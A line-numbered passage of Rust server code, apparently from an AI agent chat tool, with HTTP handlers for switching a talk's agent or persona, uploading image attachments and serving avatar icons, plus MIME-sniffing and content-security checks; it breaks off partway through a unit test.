8241 }
8242 let claim = match ui.begin_queued_talk_turn(&id)? {
8243 Some(turn_guard) => {
8244 let (cfg, _) = Config::discover(&talk.repo, None)?;
8245 Some((talk.clone(), cfg, id.clone(), turn_guard))
8246 }
8247 None => None,
8248 };
8249 let thinking = ui.is_thinking(&id);
8250 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8251 }
8252 })
8253 .await?;
8254 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8255 let talks = ui.talks.clone();
8256 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8257 }
8258 Ok(Json(view))
8259}
8260
8261fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8263 if talk.status.open() {
8264 return Ok(());
8265 }
8266 Err(ApiError::conflict(format!(
8267 "talk {} is {} and takes no more turns",
8268 talk.short(),
8269 talk.status.as_str()
8270 )))
8271}
8272
8273#[derive(Debug, Deserialize)]
8275struct TalkAgent {
8276 agent: String,
8277}
8278
8279async fn talk_agent(
8284 State(ui): State<Arc<Ui>>,
8285 Path(id): Path<String>,
8286 Json(body): Json<TalkAgent>,
8287) -> ApiResult<Json<TalkView>> {
8288 let id = {
8289 let ui = Arc::clone(&ui);
8290 blocking(move || resolve_talk(&ui.talks, &id)).await?
8291 };
8292 let repo = {
8293 let ui = Arc::clone(&ui);
8294 let id = id.clone();
8295 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8296 };
8297 let cfg = config_for(&repo).await?;
8298 {
8300 let ui = Arc::clone(&ui);
8301 let id = id.clone();
8302 let cfg = cfg.clone();
8303 let wanted = body.agent.clone();
8304 blocking(move || {
8305 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8306 .map_err(ApiError::bad_request_from)?;
8307 refuse_if_closed(&ui.talks.get(&id)?)
8308 })
8309 .await?;
8310 }
8311 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8312 return Err(ApiError::conflict(
8313 "a talk turn is running; change the agent once it has answered",
8314 ));
8315 };
8316 let switched = {
8317 let ui = Arc::clone(&ui);
8318 let id = id.clone();
8319 let cfg = cfg.clone();
8320 blocking(move || {
8321 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8322 .map_err(ApiError::bad_request_from)?;
8323 let mut talk = ui.talks.get(&id)?;
8324 if !talk.status.open() {
8325 return Err(ApiError::conflict(format!(
8326 "talk {} is {} and takes no more turns",
8327 talk.short(),
8328 talk.status.as_str()
8329 )));
8330 }
8331 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8332 Ok(talk)
8333 })
8334 .await
8335 };
8336 let observed = ui.queued_generation(&id);
8341 let fresh = {
8342 let ui = Arc::clone(&ui);
8343 let id = id.clone();
8344 blocking(move || Ok(ui.talks.get(&id)?)).await
8345 };
8346 let draining = match fresh {
8347 Ok(talk) => {
8348 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8349 }
8350 Err(_) => false,
8351 };
8352 let talk = switched?;
8353 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8354}
8355
8356#[derive(Debug, Deserialize)]
8358struct TalkPersona {
8359 persona: String,
8360}
8361
8362async fn talk_persona(
8366 State(ui): State<Arc<Ui>>,
8367 Path(id): Path<String>,
8368 Json(body): Json<TalkPersona>,
8369) -> ApiResult<Json<TalkView>> {
8370 let id = {
8371 let ui = Arc::clone(&ui);
8372 blocking(move || resolve_talk(&ui.talks, &id)).await?
8373 };
8374 let repo = {
8375 let ui = Arc::clone(&ui);
8376 let id = id.clone();
8377 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8378 };
8379 let cfg = config_for(&repo).await?;
8380 {
8382 let ui = Arc::clone(&ui);
8383 let id = id.clone();
8384 let cfg = cfg.clone();
8385 let wanted = body.persona.clone();
8386 blocking(move || {
8387 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8388 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8389 }
8390 refuse_if_closed(&ui.talks.get(&id)?)
8391 })
8392 .await?;
8393 }
8394 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8395 return Err(ApiError::conflict(
8396 "a talk turn is running; change the persona once it has answered",
8397 ));
8398 };
8399 let switched = {
8400 let ui = Arc::clone(&ui);
8401 let id = id.clone();
8402 let cfg = cfg.clone();
8403 blocking(move || {
8404 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8405 return Err(ApiError::bad_request(format!(
8406 "unknown persona `{}`",
8407 body.persona
8408 )));
8409 };
8410 let mut talk = ui.talks.get(&id)?;
8411 if !talk.status.open() {
8412 return Err(ApiError::conflict(format!(
8413 "talk {} is {} and takes no more turns",
8414 talk.short(),
8415 talk.status.as_str()
8416 )));
8417 }
8418 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8419 Ok(talk)
8420 })
8421 .await
8422 };
8423 let observed = ui.queued_generation(&id);
8425 let fresh = {
8426 let ui = Arc::clone(&ui);
8427 let id = id.clone();
8428 blocking(move || Ok(ui.talks.get(&id)?)).await
8429 };
8430 let draining = match fresh {
8431 Ok(talk) => {
8432 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8433 }
8434 Err(_) => false,
8435 };
8436 let talk = switched?;
8437 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8438}
8439
8440#[derive(Debug, Deserialize)]
8442struct TalkImplementers {
8443 implementers: u8,
8444}
8445
8446async fn talk_implementers(
8450 State(ui): State<Arc<Ui>>,
8451 Path(id): Path<String>,
8452 Json(body): Json<TalkImplementers>,
8453) -> ApiResult<Json<TalkView>> {
8454 let id = {
8455 let ui = Arc::clone(&ui);
8456 blocking(move || resolve_talk(&ui.talks, &id)).await?
8457 };
8458 let repo = {
8459 let ui = Arc::clone(&ui);
8460 let id = id.clone();
8461 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8462 };
8463 let cfg = config_for(&repo).await?;
8464 {
8469 let ui = Arc::clone(&ui);
8470 let id = id.clone();
8471 let cfg = cfg.clone();
8472 let wanted = body.implementers;
8473 blocking(move || {
8474 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8475 refuse_if_closed(&ui.talks.get(&id)?)
8476 })
8477 .await?;
8478 }
8479 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8480 return Err(ApiError::conflict(
8481 "a talk turn is running; change the implementers once it has answered",
8482 ));
8483 };
8484 let switched = {
8485 let ui = Arc::clone(&ui);
8486 let id = id.clone();
8487 let cfg = cfg.clone();
8488 blocking(move || {
8489 let chosen =
8490 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8491 let mut talk = ui.talks.get(&id)?;
8492 if !talk.status.open() {
8493 return Err(ApiError::conflict(format!(
8494 "talk {} is {} and takes no more turns",
8495 talk.short(),
8496 talk.status.as_str()
8497 )));
8498 }
8499 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8500 Ok(talk)
8501 })
8502 .await
8503 };
8504 let observed = ui.queued_generation(&id);
8506 let fresh = {
8507 let ui = Arc::clone(&ui);
8508 let id = id.clone();
8509 blocking(move || Ok(ui.talks.get(&id)?)).await
8510 };
8511 let draining = match fresh {
8512 Ok(talk) => {
8513 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8514 }
8515 Err(_) => false,
8516 };
8517 let talk = switched?;
8518 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8519}
8520
8521async fn talk_close(
8523 State(ui): State<Arc<Ui>>,
8524 Path(id): Path<String>,
8525) -> ApiResult<Json<TalkView>> {
8526 blocking(move || {
8527 let id = resolve_talk(&ui.talks, &id)?;
8528 let mut talk = ui.talks.get(&id)?;
8529 talk::close(&mut talk, &ui.talks)?;
8530 let thinking = ui.is_thinking(&talk.id);
8531 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8532 })
8533 .await
8534}
8535
8536async fn talk_reopen(
8538 State(ui): State<Arc<Ui>>,
8539 Path(id): Path<String>,
8540) -> ApiResult<Json<TalkView>> {
8541 blocking(move || {
8542 let id = resolve_talk(&ui.talks, &id)?;
8543 let mut talk = ui.talks.get(&id)?;
8544 talk::reopen(&mut talk, &ui.talks)?;
8545 let thinking = ui.is_thinking(&talk.id);
8546 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8547 })
8548 .await
8549}
8550
8551async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8561 blocking(move || {
8562 let id = resolve_talk(&ui.talks, &id)?;
8563 ui.talks.remove(&id)?;
8564 Ok(StatusCode::NO_CONTENT)
8565 })
8566 .await
8567}
8568
8569fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8571 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8572}
8573
8574async fn talk_attachment_post(
8577 State(ui): State<Arc<Ui>>,
8578 Path(id): Path<String>,
8579 headers: HeaderMap,
8580 body: Bytes,
8581) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8582 let mime = validate_attachment(&headers, &body)?;
8583 let name = filename_header(&headers);
8584 let data = body.to_vec();
8585 blocking(move || {
8586 let id = resolve_talk(&ui.talks, &id)?;
8587 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8588 Ok((StatusCode::CREATED, Json(att)))
8589 })
8590 .await
8591}
8592
8593async fn talk_attachment_get(
8596 State(ui): State<Arc<Ui>>,
8597 Path((id, att)): Path<(String, String)>,
8598) -> ApiResult<Response> {
8599 blocking(move || {
8600 let id = resolve_talk(&ui.talks, &id)?;
8601 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8602 return Err(ApiError::not_found(format!(
8603 "talk {id} has no attachment `{att}`"
8604 )));
8605 };
8606 Ok(attachment_response(&meta.mime, data))
8607 })
8608 .await
8609}
8610
8611fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
8614 let id = avatar_encode(&p.id);
8615 format!(
8616 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8617 persona_icon::fingerprint(
8618 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
8619 )
8620 )
8621}
8622
8623#[derive(Debug, Default, Deserialize)]
8624struct AvatarQuery {
8625 persona: Option<String>,
8626 builtin: Option<String>,
8628}
8629
8630const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8632
8633fn builtin_avatar(id: &str) -> Response {
8634 svg_avatar(persona_icon::builtin_svg(id))
8635}
8636
8637async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8638 raster_or_builtin(
8639 read_icon_file(&avatar_setting_path(&ui.home, None))
8640 .filter(|_| q.builtin.is_none())
8641 .as_deref(),
8642 persona_icon::operator_svg(),
8643 )
8644}
8645
8646fn svg_avatar(svg: &'static str) -> Response {
8647 (
8648 [
8649 (header::CONTENT_TYPE, "image/svg+xml"),
8650 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8651 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8652 (header::CACHE_CONTROL, "no-cache"),
8653 ],
8654 svg,
8655 )
8656 .into_response()
8657}
8658
8659fn avatar_encode(value: &str) -> String {
8660 value
8661 .bytes()
8662 .map(|b| {
8663 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8664 char::from(b).to_string()
8665 } else {
8666 format!("%{b:02X}")
8667 }
8668 })
8669 .collect()
8670}
8671
8672fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
8674 let Some(id) = persona else {
8675 return home.join("avatars/operator.data");
8676 };
8677 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
8678 let mut path = home.join("avatars/personas");
8679 for chunk in encoded.as_bytes().chunks(100) {
8680 path.push(std::str::from_utf8(chunk).expect("hex"));
8681 }
8682 path.join("icon.data")
8683}
8684
8685fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
8686 match read_icon_file(&avatar_setting_path(home, Some(id))) {
8687 Some(value) if value == "builtin" => Some(String::new()),
8688 Some(value) => Some(value),
8689 None => configured.map(str::to_owned),
8690 }
8691}
8692
8693fn operator_icon_url(home: &FsPath) -> String {
8694 format!(
8695 "/avatars/operator.svg?v={}",
8696 persona_icon::fingerprint(
8697 read_icon_file(&avatar_setting_path(home, None))
8698 .as_deref()
8699 .or(Some(persona_icon::operator_svg()))
8700 )
8701 )
8702}
8703
8704fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
8705 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
8706 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8707 attachment_response(mime, bytes)
8708 }
8709 _ => svg_avatar(builtin),
8710 };
8711 response
8712 .headers_mut()
8713 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8714 response
8715}
8716
8717#[derive(Default, Deserialize)]
8718struct AvatarSettingsQuery {
8719 repo: Option<PathBuf>,
8720 persona: Option<String>,
8721 builtin: Option<String>,
8722 inherit: Option<String>,
8723}
8724
8725fn avatar_settings_specs(
8726 ui: &Ui,
8727 repo: Option<PathBuf>,
8728) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
8729 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
8730 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
8731 .map(|cfg| cfg.talk.personas)
8732 .unwrap_or_default();
8733 Ok((repo, specs))
8734}
8735
8736fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
8737 let Ok(entries) = std::fs::read_dir(path) else {
8738 return;
8739 };
8740 for entry in entries.flatten() {
8741 let name = entry.file_name().to_string_lossy().into_owned();
8742 if name == "icon.data" {
8743 let bytes: Option<Vec<u8>> = prefix
8744 .as_bytes()
8745 .chunks(2)
8746 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
8747 .collect();
8748 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
8749 out.push(id);
8750 }
8751 } else if name.len() <= 100
8752 && !name.is_empty()
8753 && name.bytes().all(|b| b.is_ascii_hexdigit())
8754 && entry.file_type().is_ok_and(|t| t.is_dir())
8755 {
8756 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
8757 }
8758 }
8759}
8760
8761async fn avatar_settings_get(
8762 State(ui): State<Arc<Ui>>,
8763 Query(q): Query<AvatarSettingsQuery>,
8764) -> ApiResult<Json<serde_json::Value>> {
8765 blocking(move || {
8766 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
8767 let mut catalog = persona::catalog(&specs);
8768 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
8769 let mut saved = Vec::new();
8770 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
8771 for id in saved {
8772 if !catalog.iter().any(|p| p.id == id) {
8773 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
8774 }
8775 }
8776 let personas: Vec<_> = catalog.iter().map(|p| {
8777 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
8778 let override_state = match saved.as_deref() {
8779 Some("builtin") => "builtin",
8780 Some(_) => "custom",
8781 None => "inherit",
8782 };
8783 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
8784 serde_json::json!({"id":p.id,"name":p.name,
8785 "override_state":override_state,"has_config_icon":p.icon.is_some(),
8786 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
8787 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
8788 }).collect();
8789 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
8790 }).await
8791}
8792
8793async fn settings_persona_avatar(
8794 State(ui): State<Arc<Ui>>,
8795 Query(q): Query<AvatarSettingsQuery>,
8796) -> ApiResult<Response> {
8797 blocking(move || {
8798 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
8799 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
8800 let found = persona::find(&specs, id);
8801 let icon =
8802 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
8803 Ok(raster_or_builtin(
8804 icon.as_deref().filter(|_| q.builtin.is_none()),
8805 persona_icon::builtin_svg(id),
8806 ))
8807 })
8808 .await
8809}
8810
8811fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
8812 if q.persona
8813 .as_ref()
8814 .is_some_and(|p| p.is_empty() || p.len() > 4096)
8815 {
8816 return Err(ApiError::bad_request("invalid persona id"));
8817 }
8818 Ok(())
8819}
8820
8821async fn avatar_settings_put(
8822 State(ui): State<Arc<Ui>>,
8823 Query(q): Query<AvatarSettingsQuery>,
8824 Json(upload): Json<MagiIconUpload>,
8825) -> ApiResult<Json<serde_json::Value>> {
8826 blocking(move || {
8827 validate_avatar_target(&q)?;
8828 save_icon_file(
8829 &avatar_setting_path(&ui.home, q.persona.as_deref()),
8830 &upload.icon,
8831 )
8832 .map_err(ApiError::bad_request_from)?;
8833 Ok(Json(serde_json::json!({"saved":true})))
8834 })
8835 .await
8836}
8837
8838async fn avatar_settings_delete(
8839 State(ui): State<Arc<Ui>>,
8840 Query(q): Query<AvatarSettingsQuery>,
8841) -> ApiResult<Json<serde_json::Value>> {
8842 blocking(move || {
8843 validate_avatar_target(&q)?;
8844 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
8845 if q.persona.is_some() && q.inherit.is_none() {
8846 atomic_icon_write(&path, "builtin")?;
8847 } else {
8848 match std::fs::remove_file(path) {
8849 Ok(()) => (),
8850 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8851 Err(e) => return Err(anyhow::Error::from(e).into()),
8852 }
8853 }
8854 Ok(Json(serde_json::json!({"saved":true})))
8855 })
8856 .await
8857}
8858
8859fn magi_icon_path(home: &FsPath) -> PathBuf {
8861 home.join("magi-icon.data")
8862}
8863
8864fn read_magi_icon(home: &FsPath) -> Option<String> {
8865 read_icon_file(&magi_icon_path(home))
8866}
8867
8868fn read_icon_file(path: &FsPath) -> Option<String> {
8869 let metadata = std::fs::metadata(path).ok()?;
8870 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8871 return None;
8872 }
8873 let file = std::fs::File::open(path).ok()?;
8874 use std::io::Read;
8875 let mut text = String::new();
8876 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8877 .read_to_string(&mut text)
8878 .ok()?;
8879 if text.len() > persona_icon::ICON_MAX_BYTES {
8880 return None;
8881 }
8882 if text == "builtin" {
8883 return Some(text);
8884 }
8885 validate_uploaded_icon(&text).ok()?;
8886 Some(text)
8887}
8888
8889fn magi_icon_url(home: &FsPath) -> String {
8890 format!(
8891 "/avatars/magi?v={}",
8892 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8893 )
8894}
8895
8896async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8897 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8898}
8899
8900#[derive(Deserialize)]
8901struct MagiIconUpload {
8902 icon: String,
8903}
8904
8905fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8906 save_icon_file(&magi_icon_path(home), icon)
8907}
8908
8909fn validate_uploaded_icon(icon: &str) -> Result<()> {
8910 if !icon.starts_with("data:") {
8911 anyhow::bail!("upload a raster image");
8912 }
8913 let (mime, bytes) = persona_icon::load(icon)?;
8914 if sniffed_mime(&bytes) != Some(mime) {
8915 anyhow::bail!("image content does not match its type");
8916 }
8917 Ok(())
8918}
8919
8920fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
8921 validate_uploaded_icon(icon)?;
8922 atomic_icon_write(path, icon)
8923}
8924
8925fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
8926 let home = path.parent().expect("icon parent");
8927 std::fs::create_dir_all(home)?;
8928 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8929 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8930 let result = (|| -> Result<()> {
8931 use std::io::Write;
8932 let mut file = std::fs::OpenOptions::new()
8933 .write(true)
8934 .create_new(true)
8935 .open(&temp)?;
8936 file.write_all(icon.as_bytes())?;
8937 file.sync_all()?;
8938 std::fs::rename(&temp, path)?;
8939 Ok(())
8940 })();
8941 let _ = std::fs::remove_file(temp);
8942 result?;
8943 Ok(())
8944}
8945
8946async fn magi_icon_put(
8947 State(ui): State<Arc<Ui>>,
8948 Json(upload): Json<MagiIconUpload>,
8949) -> ApiResult<Json<serde_json::Value>> {
8950 blocking(move || {
8951 if !upload.icon.starts_with("data:") {
8952 return Err(ApiError::bad_request("upload a raster image"));
8953 }
8954 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8955 if sniffed_mime(&bytes) != Some(mime) {
8956 return Err(ApiError::bad_request(
8957 "image content does not match its type",
8958 ));
8959 }
8960 save_magi_icon(&ui.home, &upload.icon)?;
8961 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8962 })
8963 .await
8964}
8965
8966async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8967 blocking(move || {
8968 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8969 Ok(()) => (),
8970 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8971 Err(e) => return Err(anyhow::Error::from(e).into()),
8972 }
8973 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8974 })
8975 .await
8976}
8977
8978async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8979 let icon = (q.builtin.is_none())
8980 .then(|| read_magi_icon(&ui.home))
8981 .flatten();
8982 let mut response = match icon
8983 .as_deref()
8984 .and_then(|icon| persona_icon::load(icon).ok())
8985 {
8986 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8987 attachment_response(mime, bytes)
8988 }
8989 _ => svg_avatar(persona_icon::magi_svg()),
8990 };
8991 response
8992 .headers_mut()
8993 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8994 response
8995}
8996
8997async fn talk_avatar(
9002 State(ui): State<Arc<Ui>>,
9003 Path(id): Path<String>,
9004 Query(q): Query<AvatarQuery>,
9005) -> ApiResult<Response> {
9006 blocking(move || {
9007 let id = resolve_talk(&ui.talks, &id)?;
9008 let talk = ui.talks.get(&id)?;
9009 let wanted = q
9010 .persona
9011 .as_deref()
9012 .map(str::trim)
9013 .filter(|p| !p.is_empty())
9014 .unwrap_or(&talk.persona)
9015 .to_owned();
9016 let specs = match Config::discover(&talk.repo, None) {
9017 Ok((cfg, _)) => cfg.talk.personas,
9018 Err(e) => {
9019 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9020 Vec::new()
9021 }
9022 };
9023 let found = persona::find(&specs, &wanted);
9024 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9026 let icon = effective_persona_icon(
9027 &ui.home,
9028 &wanted,
9029 found.as_ref().and_then(|p| p.icon.as_deref()),
9030 );
9031 if found.is_none() && icon.is_none() {
9032 return Ok(builtin_avatar(persona::DEFAULT_ID));
9033 }
9034 let Some(icon) = icon
9035 .as_deref()
9036 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9037 else {
9038 return Ok(builtin_avatar(&wanted));
9039 };
9040 let Some(found) = found else {
9041 return Ok(raster_or_builtin(
9042 Some(icon),
9043 persona_icon::builtin_svg(&wanted),
9044 ));
9045 };
9046 match persona_icon::load(icon) {
9047 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9048 let mut res = attachment_response(mime, bytes);
9049 res.headers_mut().insert(
9050 header::CACHE_CONTROL,
9051 header::HeaderValue::from_static("no-cache"),
9052 );
9053 Ok(res)
9054 }
9055 Ok((mime, _)) => {
9056 tracing::warn!(
9057 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9058 found.id
9059 );
9060 Ok(builtin_avatar(&found.id))
9061 }
9062 Err(e) => {
9063 tracing::warn!(
9064 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9065 found.id
9066 );
9067 Ok(builtin_avatar(&found.id))
9068 }
9069 }
9070 })
9071 .await
9072}
9073
9074fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9085 if data.len() > ATTACHMENT_MAX_BYTES {
9086 return Err(ApiError::bad_request(format!(
9087 "attachment is {} bytes, over the {} MiB limit",
9088 data.len(),
9089 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9090 ))
9091 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9092 }
9093 if data.is_empty() {
9094 return Err(ApiError::bad_request("attachment is empty"));
9095 }
9096 let declared = declared_mime(headers)?;
9097 match sniffed_mime(data) {
9098 Some(sniffed) if sniffed == declared => Ok(declared),
9099 Some(sniffed) => Err(ApiError::bad_request(format!(
9100 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9101 ))),
9102 None => Err(ApiError::bad_request(
9103 "the file's bytes do not match any accepted image format",
9104 )),
9105 }
9106}
9107
9108fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9112 let raw = headers
9113 .get(header::CONTENT_TYPE)
9114 .and_then(|v| v.to_str().ok())
9115 .unwrap_or("")
9116 .split(';')
9117 .next()
9118 .unwrap_or("")
9119 .trim()
9120 .to_ascii_lowercase();
9121 ATTACHMENT_MIME_WHITELIST
9122 .iter()
9123 .find(|&&m| m == raw)
9124 .copied()
9125 .ok_or_else(|| {
9126 if raw == "image/svg+xml" {
9127 ApiError::bad_request(
9128 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9129 not just a picture",
9130 )
9131 } else if raw.is_empty() {
9132 ApiError::bad_request("Content-Type is required for an attachment upload")
9133 } else {
9134 ApiError::bad_request(format!(
9135 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9136 image/gif or image/webp"
9137 ))
9138 }
9139 })
9140}
9141
9142fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9145 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9146 Some("image/png")
9147 } else if data.starts_with(b"\xff\xd8\xff") {
9148 Some("image/jpeg")
9149 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9150 Some("image/gif")
9151 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9152 Some("image/webp")
9153 } else {
9154 None
9155 }
9156}
9157
9158fn filename_header(headers: &HeaderMap) -> String {
9164 headers
9165 .get(FILENAME_HEADER)
9166 .and_then(|v| v.to_str().ok())
9167 .map(str::trim)
9168 .filter(|s| !s.is_empty())
9169 .unwrap_or("attachment")
9170 .to_owned()
9171}
9172
9173fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9180 let content_type = ATTACHMENT_MIME_WHITELIST
9181 .iter()
9182 .find(|&&m| m == mime)
9183 .copied()
9184 .unwrap_or("application/octet-stream");
9185 (
9186 [
9187 (header::CONTENT_TYPE, content_type),
9188 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9189 ],
9190 body,
9191 )
9192 .into_response()
9193}
9194
9195async fn config_for(repo: &FsPath) -> ApiResult<Config> {
9203 let repo = repo.to_path_buf();
9204 blocking(move || {
9205 let (cfg, _) = Config::discover(&repo, None)?;
9206 Ok(cfg)
9207 })
9208 .await
9209}
9210
9211fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
9217 let mut hits = ids
9218 .into_iter()
9219 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
9220 match (hits.next(), hits.next()) {
9221 (Some(one), None) => Ok(one),
9222 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
9223 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
9224 "`{prefix}` matches more than one {what}, including {a} and {b}"
9225 ))),
9226 }
9227}
9228
9229#[cfg(test)]
9230mod tests {
9231
9232 #[test]
9233 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
9234 let dir = tempfile::tempdir().unwrap();
9235 let store = ask::Questions::at(dir.path().join("questions"));
9236 let mut q = Question::new(
9237 "task".to_owned(),
9238 "conduct".to_owned(),
9239 "conduct".to_owned(),
9240 "choose".to_owned(),
9241 String::new(),
9242 vec!["keep".to_owned()],
9243 );
9244 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
9245 q.say("why?").unwrap();
9246 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9247 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9248 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9249 store.put(&mut q).unwrap();
9250 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9251 assert_eq!(store.count_needs_owner(), 1);
9252 store.beat(&q.id, ask::WaiterKind::Deputy);
9253 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9254 assert_eq!(store.count_needs_owner(), 0);
9255 let mut stale = store.read_lease(&q.id).unwrap();
9256 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9257 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9258 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9259 assert!(view.deputy_exhausted);
9260 assert!(view.waiting_on_agent);
9261 assert_eq!(view.question.choices, ["keep"]);
